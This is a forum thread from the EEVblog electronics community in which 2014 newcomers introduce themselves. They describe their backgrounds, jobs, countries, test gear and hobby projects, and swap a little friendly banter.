Title: Re: New Member, Please introduce yourself
Post by: Bobyni on February 20, 2014, 05:11:20 am
Hello world!... My first post here!! Hope to learn more! I'm from Calgary, AB Canada, recently got into electronics... Built my workbench, bought my hot air/ iron soldering station, and waiting or my SDS7072 scope..... Hopefully, to become a good knowledge sharing person in the future! Thanks!


Sent from my iPad using Tapatalk
Title: Re: New Member, Please introduce yourself
Post by: fragilematter on February 20, 2014, 10:01:52 am
Hello everyone!

I'm a programmer/IT guy from ye olde Eastern Block, i.e. Romania, with a healthy interest in electronics and a penchant for taking stuff apart since I was a kid.
My interest was sparked by my father, a maths teacher by trade, who in the old days was building TV antenna amplifiers (that way you could watch uncensored TV from neighboring countries), etching his own circuit boards and fixing all kinds of appliances.

I have a basic set of electronics tools and a good deal of knowledge on the subject accumulated over time, which I direct into small electronics projects and, of course, fixing stuff. My latest successful repair was an iRiver h120 mp3 player which had a busted out LTC3405 voltage regulator - replace a ThinSOT packaged IC with only a basic pen soldering iron and a lot of flux -> yep, it's working.
Title: Re: New Member, Please introduce yourself
Post by: Paulusthewoodgnome on February 20, 2014, 08:22:19 pm
Hoi, Paul from New Zealand here. A tear-aparter and electronics muck-arounder since I can remember ...trained NZCE electronics and computer technology but working in Software/Hardware testing so satisfying the electronics bug with home projects.
I've been slowly going through the EEVblog videos from the start as well as watching the new releases so I'm slowly closing the time gap. Entertaining and informative if I had to give a 2 word summary. Cheers
Title: Re: New Member, Please introduce yourself
Post by: CosPhi on February 21, 2014, 04:53:56 pm
Hi all

I'm an industrial electrician from Switzerland. I had once another account here (years ago), but he got lost ... but I still always watched Dave's videos and also did read the blog sometimes.
Title: Re: New Member, Please introduce yourself
Post by: frankcolak on February 23, 2014, 01:08:03 am
Frank from Canada. Just joined today and will spend a lot of time here I hope :).
Electronics was my first serious hobby and I hope to make it a career at some point (disregard my age).
I will likely have to go back to school lol.
Title: Re: New Member, Please introduce yourself
Post by: obd.tech on February 23, 2014, 12:13:33 pm
Hi, im from southern u.k. into all things automotive, and as so much is electronics, i'm here to learn more of how things work, and maybe fix things?

Brought here after seeing Dave's great enthusiastic youtube video's.
Made me smile, which is always good :-)
Title: Re: New Member, Please introduce yourself
Post by: temmink on February 24, 2014, 12:29:34 pm
Hi, I'm Martin from The Netherlands, I'm 43 years old and have had some elektroniks on school.
I didn't like it at then, but was necessary for my Technical Computer eductation.

Now I like it more and more. And it's almost a hobby for me.
Recently making the move from THC to SMD and like it really.

Dave's great enthusiastic video's are great for infotainment!




Title: Re: New Member, Please introduce yourself
Post by: DionneSwart on February 25, 2014, 05:49:58 am
Hey all. I'm Dionne and live in Durban South Africa. I have been involved in the electronics industry for a couple of years and specialize in digital systems. My first job was as a site maintenance tech and bench tech for a two way trunking radio company and later moved on to working for one of S.A's cellular networks under contract as a site tech.

Been out of the industry for a couple of years but am back as I have been developing some of my own branded photographic lights here in SA for the local market.

Hope to learn loads from this forum. :-)
Title: Re: New Member, Please introduce yourself
Post by: mechtonia on February 27, 2014, 03:16:50 pm
Hi. I am a Mechanical Engineer but I've been hooked on electronics since I got my first 300-in-1 electronics kit over 20 years ago. Although I spent several years out of the hobby I'm currently enjoying getting back into electronics thanks mostly to the hackerspace/arduino/DIY movement. I've taken several computer science, circuits, and electronics MOOCs in the last few years and have also learned a lot from Dave and the eevblog.
Title: Re: New Member, Please introduce yourself
Post by: kurak on March 02, 2014, 08:23:59 pm
Welcome EEVBlog community, I'm Marcin from Poland (Silesia, exacly Zabrze- used to be the greatest village in Europe, about 10 miles from Katowice).
Got my BSc deg in mechatronics, working on MSc at the moment :P
Loved all the science stuff since I can remember, but but started working on it and made it my hobby and passion about 5 years ago, not even sure how and why :P Still feel like beginner though.

Love what you're doing here, learned A LOT already and look forward to catch some more of your knowledge.
Title: Re: New Member, Please introduce yourself
Post by: instanoodles on March 03, 2014, 02:54:40 pm
Good day, my name is Paul and I am living in Halifax, Nova Scotia, Canada. Been involved in electronics every since my dad gave me a screw driver as a kid and let me use it, so many things never got back together  :-DD I am currently an electronics technician for the Royal Canadian Navy and do quite a bit of hobby electronics on my free time. I was a CNC machinist and am hoping to pull both skills together to build and program my own CNC machine from scratch.

Been watching the videos for along time now, love them and hope you keep up the awesome work.

Cheers,

Paul
Title: Re: New Member, Please introduce yourself
Post by: anachrocomputer on March 05, 2014, 02:25:16 pm
Hi, my name is John and I'm an engineer living in Bristol, UK. I've been messing about with electronics since the 1970s, initially with analog stuff and then with a Compukit UK101 computer kit. I have a fair collection of test equipment: http://www.gifford.co.uk/~coredump/inst.htm (http://www.gifford.co.uk/~coredump/inst.htm) and definitely too many oscilloscopes: http://www.gifford.co.uk/~coredump/scope.htm (http://www.gifford.co.uk/~coredump/scope.htm)
Title: Re: New Member, Please introduce yourself
Post by: LektroiD on March 06, 2014, 02:12:08 am
I'm a music producer from the UK, building all sorts of analogue music gadgets to hopefully make my music more interesting.

//Richard
Title: Re: New Member, Please introduce yourself
Post by: FearTec on March 08, 2014, 11:53:20 am
Hello, I am Simon

Im starting to get into electronics after a friend wanted help with some arduino code.  I have mostly developed windows/mobile code and have been in the IT game for 18 years.

Still a newbie but I have heaps of experience pulling apart remote controls toys on boxing days when I was a kid.
Title: Re: New Member, Please introduce yourself
Post by: Electric flower on March 10, 2014, 08:44:44 pm
Hello folks!

I'm 16 years old electronics student from Croatia, and with school everything glides smoothly.
Can't say i own much knowledge, rather I've be been scratching large area of surface but had no chance to scratch deep enough to satisfy my needs.

I'm a boy with a great appetite and sinkhole that can't get filled.

By now i have had more multimeters  than girlfirends and i have no regrets, planing to get Fluke 87/3 if one guy drops price little bit more. Osciloscope would be lovely...

Other than that mountainbiking is my favourite hobby, I also enjoy football or anything with prefix ball.   
Title: Re: New Member, Please introduce yourself
Post by: stevioactive on March 11, 2014, 11:52:27 pm
Hello all,

I'm Steve currently working as an Instrument and Controls tech at a nuclear plant living in sunny Wilmington, NC.  Always enjoyed playing with electronics and currently holding an AAS in Electronic Engineering / Instrumentation.  Wanting to design stuff in relation to disabled individuals to help them interact with the world around them and . . . I enjoy robotics.  Looking forward to building my first robot from the ground up.
Title: Re: New Member, Please introduce yourself
Post by: digital on March 13, 2014, 08:02:54 am
Hello all, my name is Wayne I am semi retired and work in the industrial instrumentation business also in laboratory instrumentation and find this site rewarding.Cheers
Title: Re: New Member, Please introduce yourself
Post by: ODE on March 18, 2014, 02:54:06 am
Hi,

I found Dave on Youtube three and a half years ago when looking for reviews of the Kindle. His videos were so entertaining I have been watching since!

I made a few basic circuits with my Dad when I was little and have always been a geek for tech but I now want to learn more.

I just bought my first multimeter and will be doing to project based learning soon.
Title: Re: New Member, Please introduce yourself
Post by: mdkendall on March 18, 2014, 03:03:55 am
Hi all, my name is Matthew, originally from south east England I have been living and working in Vancouver, Canada since 1994. I am an electronics engineer at a small contract design company, mostly working on projects with some element of radio communication (short-range, low-power things like Bluetooth, ZigBee, other proprietary 2.4GHz sytems, etc.) with plenty of analog, microcontrollers and embedded firmware thrown in. I have been watching Dave's videos for a couple of years now and always find the teardowns and test equipment reviews interesting.
Title: Re: New Member, Please introduce yourself
Post by: techvolley on March 18, 2014, 09:23:45 am
hi josh here... Southern California...just a beginner with interest in integrating electronic technology into cars.  id like to prevent more road accidents, drunk driver casualties like the one that just happened in SXSW. always looking for a way to give back and currently volunteering as a technician.  Im interested in one day getting a start up going... don't want to go the corporate route though... would prefer to meet a group of good guys and run it out of a garage for a while... and build it from the ground up--the old fashioned way. 
Title: Re: New Member, Please introduce yourself
Post by: quinn_the_dog on March 18, 2014, 06:18:08 pm
Hello, John here, East London embedded C programmer.
Interested in any control systems.
Found the EEV blog when looking for reviews on Rigol scopes.
Title: Re: New Member, Please introduce yourself
Post by: matts-uk on March 19, 2014, 10:02:09 am
Hi all.

Matt here.  Just the wrong side of 45. The early part of my career was in electronic production and test.  I got sucked up into telephony, eventually business networks and now spend most of my working day fixing the internet.  My interest in electronics was rekindled after I bumped into an Arduino last year.  I found the EEVBlog, while considering a new scope after the sad demise of my old Scopex 10D.  Needless to say, I ended up spending far more than I originally intended, on a DS2072a.  I am going to need a new multi-meter too.

I have a little IoT sensor/control project on the go, which is at the point I need to step into the messy World of analogue, from my comfort zone in the digital realm.  I will try not to ask daft questions but can not guarantee it ;)


Title: Re: New Member, Please introduce yourself
Post by: AriZone on March 20, 2014, 09:13:08 pm
Hi all, Arek here.
I'm security systems designer. Interested in PLC and DIY control systems.
Found EEV some time ago, when I was looking for multimeter reviews.
Since then I can't help myself but wait for next fix. I mean episode of video blog.
 :-+
Title: Re: New Member, Please introduce yourself
Post by: Tech_JA on March 22, 2014, 10:07:02 am
Hi,
my name is  Jorge, I'm 45 years old, I live in Portugal and I'm electronics technician. I joined the forum to get more information about electronics
Title: Re: New Member, Please introduce yourself
Post by: Mvedovetto on March 24, 2014, 10:58:44 am
Hi all,
I'm Marco  from Italy and I think this Forum is great. Hope it will be useful to me and me be useful to forum  ;)
Title: Re: New Member, Please introduce yourself
Post by: patrik on March 26, 2014, 12:48:06 am
Hi,

Being a long time lurker I've thought that its about time to introduce myself.

I'm Patrik form Germany near the beautiful city of Munich (the one with the beer - Summer is coming ;))

Working in the semiconductor business, my former position was hands on SW/HW Debug (bare metal JTAG till basic RTOS evaluation) including measurements on a daily basis with quite decent tools - covering digital logic till RF. Moving on my work shifted to a more theoretical style (read: Outlook,PowerPoint and spec writing :palm:) so I am rarely in the LAB, thus in order not to loose the connection and satisfy the urge of doing something "real" I had to set up something at home.
So I play around with basic FPGA, µC (Arduino, Beaglebone - open source, open hardware) and more and more analogue stuff - in my free time and just for fun.

Title: Re: New Member, Please introduce yourself
Post by: PointyOintment on March 26, 2014, 10:42:56 am
Hi. My name's Ian. I'm an engineering student in New York (the state, not the city). Not EE though; it's just a hobby for me. I collect old (and sometimes new) electronics from the recycling drop-off locations on campus.
Title: Re: New Member, Please introduce yourself
Post by: pallisi on April 04, 2014, 03:14:14 pm
Hi all!
My name is John and I am from Greece. I am an electrical engineer. I am interesting in high power motor drives. I found eevblog after trying to find a good oscilloscope for my projects.
Title: Re: New Member, Please introduce yourself
Post by: ksrele on April 05, 2014, 01:05:45 pm
Hello,

I'm Srecko, direct translation to english is Lucky so you can call me Lucky.
I'm from Serbia (city Subotica) and I like electronic as long as I know for my self :)
Title: Re: New Member, Please introduce yourself
Post by: pa2ees on April 05, 2014, 07:24:42 pm
Erik here.  I am a double E here in Utah.  I am fond of PIC and Altium (current job is PCB Design engineer).  I have had experience in analog and digital circuitry, FPGA, ADC/DAC, Atmel, PIC, a few other micros, Linux, Altium, Python, C, a few other languages, along with some networking experience.

I'm not a particular fan of arduino (though I do understand and respect its place in the hobbyist/tinkerer/maker space).  I like coding much closer to the micro (assembly sometimes). 

I enjoy long reads through datasheets, and a well-functioning circuit.  I hope to be a contribution to this forum!

 - Erik
Title: Re: New Member, Please introduce yourself
Post by: Hal_9000_de on April 07, 2014, 07:50:07 am
Hi. I’m from Germany an my name is Jürgen. It is usually unpronounceable for native English speakers but great fun to hear when they try.

I am the prepress guy in an small company. I came to soldering by trying to build my own Qlocktwo replica a couple of years ago. My equipment consists of a soldering station and a cheap multimeter so far.
Title: Re: New Member, Please introduce yourself
Post by: guits on April 08, 2014, 09:30:48 pm
Hello! My name is Guido and I'm from a small east European country called Estonia.

I have kinda known which end of the soldering iron to hold since 5 years old or so and owned a multimeter for all my life but only developed a real interest to electronics about 4-5 years ago(am 24 now). Had a few books left on the shelf from my dad and when I really didn't know what to do with my life anymore I started to look deeper into them. So 3 years ago I started working for an industrial electronics manufacturer doing RMA repair and troubleshooting in production. The interview went easy, got a flyback SMPS schematic thrown on the desk in front of me and I told them what it was and how it works. Getting past HR interview was easy too as they really didn't have a lot to choose from. Only worked there for 2 years since there was quite a lot of problems with one rather complicated product and they didn't bother to organize my workload so I just quit. I have been playing around with analog stuff mostly but am quite a bit interested in FPGAs and I might start to focus on logic and FPGA design in the near future.

Quite a long story there... all in all I am more of a 'Jack of all trades' I know a bit about various fields of electronics and other stuff too but I'm not really great at anything. So at the moment I actually tile bathrooms and such and tinker with electronics related stuff at home.
Title: Re: New Member, Please introduce yourself
Post by: loadnstuff on April 08, 2014, 10:30:45 pm
Hi all, thank you for having me on your forum, hope to learn a bunch of stuff :-)  ;D
Title: Re: New Member, Please introduce yourself
Post by: nazardo on April 11, 2014, 12:01:27 pm
Hello from Italy.
I am using Altium designer, recently migrated from Eagle
I am enjoying this forum.
Title: Re: New Member, Please introduce yourself
Post by: TankaaKumawani on April 11, 2014, 07:13:17 pm
Hello from the last of the streetcar suburbs, about fifteen minutes from Tektronix-Keithley.

I got into electronics back in the early years of school with the Radio Shack spring-terminal kits (a 50-in-1, the Voice Recorder, the four-piece Action Kit, and the AM/shortwave radio) and a science fair project on solar cells.  The only survivor from this era is my old 8-range analog multimeter, which I've hung on to for sentimental reasons (incompatible with proper safety probes).  I'm not precisely sure why I lost interest in it, but I think a little bit of my interest in electronics returned late in primary school and early in high school when I was thinking about becoming an electrician.  I tried my hand at Aerospace Engineering at Ohio State University down in Columbus, but got mired in Calculus II and transferred to John Carroll University, a few minutes away from where my family lives.  I ended up getting a Bachelor's degree in Physics, and that led to me taking electronics courses as a technical elective.  From that point on (and after a very difficult struggle through quantum mechanics), I knew I'd be continuing on into electrical engineering.  And now, I find myself working on my Master's degree at Cleveland State University in Electrical Engineering, with an emphasis on power electronics/systems and now...instrumentation.  Programming was never a strong point for me, so the analog fields seemed somewhat more appealing.  I found EEVblog, started watching it, and...here I am.

I worked as an engineering intern at the Greater Cleveland Regional Transit Authority during the summer of 2013, and would love to return after I take my engineering licensure exams.  Traction power and transit operations have fascinated me since I was little, and I really enjoyed the culture in the engineering department there.  This summer and fall, though, I'm going to be working at Tektronix-Keithley, which is great...but touring the place...oh, I'll start a new thread about that, it's an issue unto itself.

I'm a frequent guest of the Cleveland Makers' Alliance hackerspace at the Shaker LaunchHouse, but dear gods, the place is a mess, and there's no good place to do electronic work (or keep the test equipment) at this point so I'm not ready to start paying dues.  The lack of workspace both in and outside of the house has really limited my ability to start projects.  I have successfully repaired a PAiA Fatman synthesizer that had defective components, but that's about it.

My current test equipment stable includes:
-Rigol DS2072 (hacked to DS2302)
-Keithley 199 System DMM
-HP 3311A Function Generator

I'm planning on acquiring:
-Knight Laboratories ML-2010 portable prototyping station
-The carry bag for the DS2072 so the knobs don't get scraped off.

Other hobbies include:
-Drawing
-Tabletop RPGs
-SCUBA (but I just haven't had the time)
Title: Re: New Member, Please introduce yourself
Post by: BoomBrush on April 12, 2014, 08:26:56 am
Hello, my name is Scott and I am from Brisbane in Queensland.

I am interested in the area of electronics engineering. I am currently only 14, but I enjoy the things that electronics get involved in. My grandfather was an electrical engineer during world war II and he teaches me terminology about electronics which I enjoy. I also luxuriate in computer programming (mainly PHP) and I am involved in an SAMP server known as UGP, which I program the website.

I recently build an Arduino based GPS tracker, which took a while but it was very fun to build. I hope to talk to people just like me!
Title: Re: New Member, Please introduce yourself
Post by: kimmynz on April 14, 2014, 04:49:58 am
Hi everyone,

I'm Kimberly. I'm from New Zealand. Currently a first year student in Electrical Engineering (Power Specialisation).

I have a keen interest in developing automation systems. Been playing around with PIC and AVR micro-controllers for various hobby projects.

looking forward to getting into home automation with power electronics in the future.

Title: Re: New Member, Please introduce yourself
Post by: Dave Pye on April 14, 2014, 12:42:08 pm
Hi, I'm Dave and live in the far north of England (Right on the doorstep of Hadrian's wall). Electronics is a re-discovered hobby of mine. And I mean re-discovered after 40 years. I'm slowly building up knowledge, but class myself as a novice.

Title: Re: New Member, Please introduce yourself
Post by: WOPR73 on April 16, 2014, 05:53:28 am
Hello Guys & Gals,

I am new to the world of electronics. Last time I built something was high school electronics, where we built an alarm. I started messing around with Raspberry Pi, Arduino, Etc; I have always been good with computers, but after I found out you can plug things into them... and program them!!!! Then I couldn't stop. Had to know how everything worked. So, what does one do? Go shopping? NO! You take things a part in your house first. Then you go shopping and replace the things you can figure out how to put back together. lol  :wtf: So, I went out and got a few things... I have the basic stuff...kinda.  :D  I just bought a Rigol DS1074Z that I hope to be upgraded.  ::) For a first Oscilloscope... I hope that I made the right choice.  :-+  :--  Didn't want to spend a lot and didn't feel up to the challenge of DIY, DIY sound card or portables. So, after further review from this forum I bought one. Any and all help or advice is welcome. I am here to learn always looking for a good mentor.   :-//


WOPR73
Title: Re: New Member, Please introduce yourself
Post by: beginner on April 16, 2014, 07:29:49 am
Hello everyone,

Pretty much a total beginner with this kind of stuff but have had a life long interest in computers / technology and have always enjoyed tinkering with software.  Have basically ended up here as my raspberry pi projects have begun to expand into projects requiring more electrical knowledge - have found the youtube videos fantastic and decided it was time to join up here.

I have an interest in a great many things and enjoy some pretty intense hobbies already, as such I'm not really looking to build up an extreme lab or take on anything too large too quickly, but would like to build up a reasonable understanding over time and share my little projects as I go.
Title: Re: New Member, Please introduce yourself
Post by: retrolefty on April 20, 2014, 12:22:05 am
Hi all;

 Just registered on this forum and wanted to test the ability to actually make a posting. I'm retired about 6 years now after working for around 30 years at a large oil refinery working on process control systems and instrumentation. Prior to that I worked around 10 years as a field service engineer working on mini-computer system in the 70s. Prior to that I worked for 4 years in the U.S. Air Force in teletype/crypto maintenance.

 I'm mostly active on the Arduino forum and am a big fan of the Arduino and it's community.

Title: Re: New Member, Please introduce yourself
Post by: BennyBoy on April 20, 2014, 12:32:45 am
Welcome to a pretty good site, altho there's not much love for Americans around these's parts. just keep a thick skin and enjoy it for what it is.

Plus Dave makes Fantastic videos, as he's a natural entertainer. :clap:
Title: Re: New Member, Please introduce yourself
Post by: c4757p on April 20, 2014, 12:34:18 am
there's not much love for Americans around these's parts. just keep a thick skin

???

s/Americans/Arduino/ maybe ;)
Title: Re: New Member, Please introduce yourself
Post by: retrolefty on April 20, 2014, 12:39:36 am
Welcome to a pretty good site, altho there's not much love for Americans around these's parts. just keep a thick skin and enjoy it for what it is.

Plus Dave makes Fantastic videos, as he's a natural entertainer. :clap:

  No problem about lack of forum love.  ;)
 Plenty of love around here, still married with two daughters and four grandchildren ages 7 down to 3 weeks old.

 I've really enjoyed Dave's video blogs for several years, just never aware there was also a forum and thought I would check it out.
Title: Re: New Member, Please introduce yourself
Post by: digsys on April 20, 2014, 10:02:54 am
Quote from: BennyBoy
  ... altho there's not much love for Americans around these's parts ... 
Completely untrue ... maybe you're just easier to upset :-) Aussies will "pick on" anyone, even ourselves.
A forum has it's own life, no matter in what country it resides.
Title: Re: New Member, Please introduce yourself
Post by: jkf1000 on April 20, 2014, 10:18:51 am
Hell to all, recently registered on the forum but have been watching Daves videos for a long while, My name is Karl and I live in Yorkshire right in the middle of the UK. I got into electronics as a teenager, but then got distracted by things like girls then wife, then kids and now grandchildren, but finally rekindling my initial interests.

My main interests are radio related projects as I hold a full amateur licence, but love building and fault finding.

Things have changed quite a bit over the years, but the basic theory and calculations are still the same. Learning fast and enjoying every minute off it.. Karl.
Title: Re: New Member, Please introduce yourself
Post by: bobwidlar on April 22, 2014, 02:56:49 am
Hi all,

I'm Burak. I'm originally from Turkey but currently a master student in Delft Univ. of Tech. in the Netherlands. I'm interested in analog & mixed-signal IC design, especially precision stuff. I taped out a 21-bit instrumentation ADC (DC measurements only), designed its test PCB, measured and characterized it for months. (For anybody who is interested: 15-ppm INL 0.5-ppm DNL over 3.6-V-pp full scale input).  Now, I just taped-out a 20-bit audio ADC, and designing its measurement PCB. I'm planning to open a discussion topic on the setup, but first give me some time to get familiar with the forum.

I enjoy Dave's videos quite a lot and find quite a lot of stuff to learn. Teardowns are my favorites! I play with those instruments, but Dave takes 'em apart!
Title: Re: New Member, Please introduce yourself
Post by: ddummy on April 22, 2014, 08:55:10 pm
hi all,

my name is daniel. I am interest hardware modifications however i'm a newbie. I hope I can gain some experiences from you experts.
Title: Re: New Member, Please introduce yourself
Post by: BTO on April 23, 2014, 09:52:39 am
Hi, I'm Martin,  .......... I'm an Alcoholic           LOL

Seriously though, this section of the forum sounds like an AA Meeting.. doesn't it

OK... i'll start over and do a proper introduction

Hi Guys My Name is Martin, (I'm not actually and alcoholic),   I'm BTO on the Forum
MY PM's are unblocked

I"m 40 Years of age

I"m a Computer Engineer and Telecommunications Technician
I've been in this game for over 13 years now, Running a Small Successful Business.

the Services i offer my clients are
Computers and Networks
Satellite
TV Antenna
Intercom Systems
Phone Lines and Broadband

However i've been tinkering with Electronics since i was about 6 or so
I think i started pulling stuff apart when i was about 4 (it was my Bugs Bunny Clock)

Anyway, Long Story short, I've got a lot of experience in a lot of different fields.

I'm happy to help anyone that i can, so if anyone has any questions for me

Feel Free to PM me

I've been on the forum now for about a few weeks and i just realized this page existed

BE COOL GUYS
see you all on the forum
Title: Re: New Member, Please introduce yourself
Post by: BennyBoy on April 23, 2014, 08:14:36 pm
I know all about Aussies, as I've met dozens of Drunk Aussies, as I've traveled all over the world. ;D. FYI, forums don't get me upset. ;)

Quote from: BennyBoy
  ... altho there's not much love for Americans around these's parts ... 
Completely untrue ... maybe you're just easier to upset :-) Aussies will "pick on" anyone, even ourselves.
A forum has it's own life, no matter in what country it resides.
Title: Re: New Member, Please introduce yourself
Post by: tomkinsc on April 29, 2014, 05:31:41 pm
Hi! Nice to meet you all!
I have a BS in Bioinformatics, graduated from RIT in 2012, and worked for a year at a Bay Area biotech company developing PCBs for medical diagnostic products.
Now I'm studying for the MCAT and working on my side project, TakeItApart.com (https://www.takeitapart.com/), a site for sharing photo-based teardown guides.  :D
Title: Re: New Member, Please introduce yourself
Post by: SeanB on May 01, 2014, 03:31:31 pm
The question is rather, did it work when it was put back together? I know a lot of stuff I took apart did not work before I got it, and some definitely did not work after I was finished with it. Some did work but I destroyed it.
Title: Re: New Member, Please introduce yourself
Post by: 22swg on May 02, 2014, 08:17:46 am
I'm Les,  just an old newby , been putting stuff together for 50 years , worked as service engineer for 30 in UK , now have lots of time but little cash  :D   
Title: Re: New Member, Please introduce yourself
Post by: xcoder on May 03, 2014, 12:16:59 pm
hi this yassine from morocco im a electrician i fix medical equipment for living and from morocco
im not that good with electronics
i use to fix laptops im good with software im better with vulnerabilities ;)


ask anything you want ill happy to help if i can and here is a pic of my tiny workshop 

Title: Re: New Member, Please introduce yourself
Post by: hammondlewis on May 07, 2014, 11:11:44 am
Hi, I'm Gene from Melbourne, Aus. I work in film as a visual effects compositor and am into electronics as a hobby - building analog synth stuff, etc.
Title: Re: New Member, Please introduce yourself
Post by: Isad on May 07, 2014, 11:12:41 am
Hi all
Iam Isad from Albania :)!My full name is Isad Golemi  ;D!I am a EE student at high school and i am interested in evry type of electronics! :-+
I do some youtube videos so feel free to take a look at them!
https://www.youtube.com/watch?v=dkNp0ZjSDM0 (https://www.youtube.com/watch?v=dkNp0ZjSDM0)

Title: Re: New Member, Please introduce yourself
Post by: Ephex on May 08, 2014, 03:46:50 am
Hi all
I'm alex from Sheffield, England
Newbnerd. What little i do know about electronics is learned from the internet (cheers, dave). General hacker and maker of simple things, plagued with ideas (often impossible). Been playing about for a few years and looking to expand my knowledge. Found eevblog when looking for a new DMM and it has fuelled the fire of my love for electronics

anyway, enough about me... back to the nerdage :D
Title: Re: New Member, Please introduce yourself
Post by: johnsonsteven1986 on May 09, 2014, 01:20:27 am
Hi, my name is Steven. I am a student at ITT tech. I am currently doing an assignment that requires me to extend my network so i figured a well known forum in my study would be the way to go. I live in Kings Mountain, NC and love fixing things, especially electronics. My goal is to start my own electronics repair business so if anyone has any tips for me please let me know.
Title: Re: New Member, Please introduce yourself
Post by: SirNick on May 10, 2014, 01:05:20 am
A little late to put on my name tag, but here goes..

*taps mic*

I've been casually into electronics for nearly my whole life.  I'm sure my parents have pics of me holding a soldering iron well before I was allowed to use one unsupervised.  But, lately I've gotten more serious about it.  I've always wanted to build stuff, and finally realized that I spent a lot of time thinking of what I could do "some day" instead of actually learning how to do it.  So, a couple years ago I bought a 555 IC and some parts, and then got an Arduino for Christmas shortly after, and now I have a spare room full of Digikey boxes (one is a trash can, others are used for sorting parts), I've lost thousands of dollars to my component inventory, and I'm psyching myself up for my first SMD PCB design which may or may not end up using an ARM Cortex M4 processor.  (I owe the SMD part to the courage I got from watching Dave's soldering tutorial videos and thinking, "sheesh, I could do that!")  In short, I'm doing stuff I couldn't have dreamed of a few short years ago.

I also like programming.  I look at finished C code like one might admire a painting.  I'm kind of awkward at parties unless there are other nerds around.  :-// Don't say much in elevators....

Alright, enough. ;D Cheers.
Title: Re: New Member, Please introduce yourself
Post by: Dr Wobble on May 11, 2014, 01:47:59 pm
Hello all from rainy England.I'm old in years,relatively speaking but new to electronics. Back in the early 80's I got into electronics, declined a place in college studying TV and Radio repair and instead led the life of a vagabond,libertine and tit head for 30 years. Got back into electronics some 4 years ago. Self educated via books/forum's etc. Mainly interested in audio/amplification but not exclusively.

Life away from the bench = single Dad to a fiesty six year old daughter,part time musician,
unreconstructed tree hugger,cynic,pessamystic oppatamist, bad speller and occasional dypsomaniac. Andy.
Title: Re: New Member, Please introduce yourself
Post by: yramgu on May 12, 2014, 11:16:56 am
Hi everybody,

My name's Yann, I recently graduated with a Master's from the EE department of INSA Lyon (a French engineering school) and now work as an RF Engineer for a small company in Grenoble.
As electronics is my passion, I also do quite a lot of stuff at home and love following this blog :)

Cheers
Title: Re: New Member, Please introduce yourself
Post by: rauloliv on May 14, 2014, 04:32:34 pm
Hello guys

I've been reading post on the forum i decided to register.
I'm a tech with +15 years experience in consumer electronics repairs.

Bye bye
Title: Re: New Member, Please introduce yourself
Post by: electrolux on May 15, 2014, 12:14:18 pm
Hi

Stumbled upon the EEVblog when my brother was searching for electronics vids on YouTube the first ever one we watched was back in early 2013 it was how to set up your own electronics lab :-+ (no I couldn't give it a thumbs up on you tube because I don't Have a Google ??? account but it's still :-+) I joined the forum just before 2014 an it's great :clap: :).
Title: Re: New Member, Please introduce yourself
Post by: Allen393 on May 15, 2014, 12:54:56 pm
Hello Everyone, I'm Allen, a PCB engineer from China, I'm also a new member in this forum, and I found this forum is very good, I like to be here as long as I have time  ;D
Title: Re: New Member, Please introduce yourself
Post by: TedStormrage on May 15, 2014, 12:58:22 pm
Hi all
I'm Teemu from Finland and I'm studying ICT Engineering(specialized in electronics and embedded systems) in a university. I have been fiddling with electronics for six years now and i love building things myself. I have been watching the EEVblog for over a year now and decided to finally make a forum account.
Title: Re: New Member, Please introduce yourself
Post by: RoMaNo on May 17, 2014, 04:43:51 am
Hello  :)

My name is Rodrigo and I guess I'm as enthusiastic as everybody here about electronics. I hope to learn a lot, know nice people and also contribute with my personal experience if i can.

Bye!!
Title: Re: New Member, Please introduce yourself
Post by: Jeeper44 on May 20, 2014, 05:05:27 pm
My name is Andrew. I've always been a tinkerer growing up. I built a kit Moog synthesiser back in the mid-70s when I was a teenager (back in the good old Heathkit days).

I was first taught electronics courtesy of the U.S. Air Force in 1984 where I was an avionics technician. Unfortunately my actual job was troubleshooting line replaceable units and not circuits so I forgot most of what I was taught. Back then I didn't bother getting my degree even though I already had all the technical credits needed through my military schooling.

Fast forward 25+ years. I've held a number of jobs, some computer related. Started my own web design company in 1995 when 28.8k was blazing modem speeds and half my job was convincing companies that they needed a web page. Went on to designing database applications for a small local company. Recently I've felt the need to get back and refresh all that old electronics training so I've been doing some home study, as well as following various online resources like Dave's blog. Hopefully in another 9 months I will be getting my ASEET and in addition to my previous military experience get employment in the field of avionics/electronics. I will be getting my FCC GROL+ as well.
Title: Re: New Member, Please introduce yourself
Post by: vicnet on May 24, 2014, 07:21:02 am
Hi!

My name is Vincent. I'm a French guy living in Ohio (I know, why Ohio of all places, right?), I'm in my late 20s and I'm still not sure what I want to do in life.

I've always had an interest in electronics but I never took it very far. I took electronics and mechanical engineering in high school, but I was the kind of kid who "never applied himself" so pretty much none of it stuck.

I started watching the EEVBlog a while ago (a few years?) and I've passively learned a lot as a result. My interest in electronics has been revived, and I've been accumulating more and more junk and tools.

Hopefully I can continue to learn (maybe a bit more actively ;)) and do some useful stuff with what I have. I do already perform the occasional trivial repair when something breaks but it's a rare occurrence and definitely nothing I'd brag about.

One thing is certain though: I love fixing stuff! I find it very satisfying. It's a sort of "mental puzzle" to figure out what went wrong, and it's very gratifying to see something that was dead just a while ago spring back to life thanks to your knowledge guesswork.

I'd love to make repair work a proper hobby (and who knows, maybe even a source of income??) but I struggle with fear of failure and have an almost non-existent budget.

Regardless of how things turn out, I'll definitely continue to enjoy the EEVBlog and other various "electronics porn" so it just makes sense all around for me to be part of this forum, even if all I do is browse ;).

I look forward to seeing all kinds of cool stuff around here! And, who knows, maybe I'll eventually post some of my own (but don't hold your breath)!
Title: Re: New Member, Please introduce yourself
Post by: Menneset on May 24, 2014, 09:15:36 pm
Hello all. (Does anyone really watch this thread...?) I live in the USA, sunny Florida specifically. I am recently retired, a little bit early due to health issues. I worked for most of my life in the computer industry as a Network Admin in smaller organizations, and dearly loved my work. Computer programming, mostly early VB or C#, has been a hobby. I studied Electronics in school ages ago but still remember the concepts if not specifics. I am now stocking and tooling up to get back to my first love of Electronics. Micro-controllers looks to be where I will spend most of my efforts. That is me in a nut shell. I am sure I will have lots of questions, but where I am comfortable I will also offer lots of answers.
Title: Re: New Member, Please introduce yourself
Post by: digsys on May 24, 2014, 11:06:27 pm
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  ... Does anyone really watch this thread...? ...
Nope .... oops ... DOH
Title: Re: New Member, Please introduce yourself
Post by: SLJ on May 25, 2014, 11:30:20 am
Hello all. (Does anyone really watch this thread...?)

1461 Replies, 105319 Views, soooo maybe?

Welcome, you will find a lot of information here.  If you can as you ramp up make sure you post some pics of your work area, favorite test equipment, and of course your projects in the appropriate discussions.  Also make sure you check out the video section.  Dave will always tell you what he thinks is bulls*%t and whats not.  No sugar coating there.  Funny as a barb wire canoe.
Title: Re: New Member, Please introduce yourself
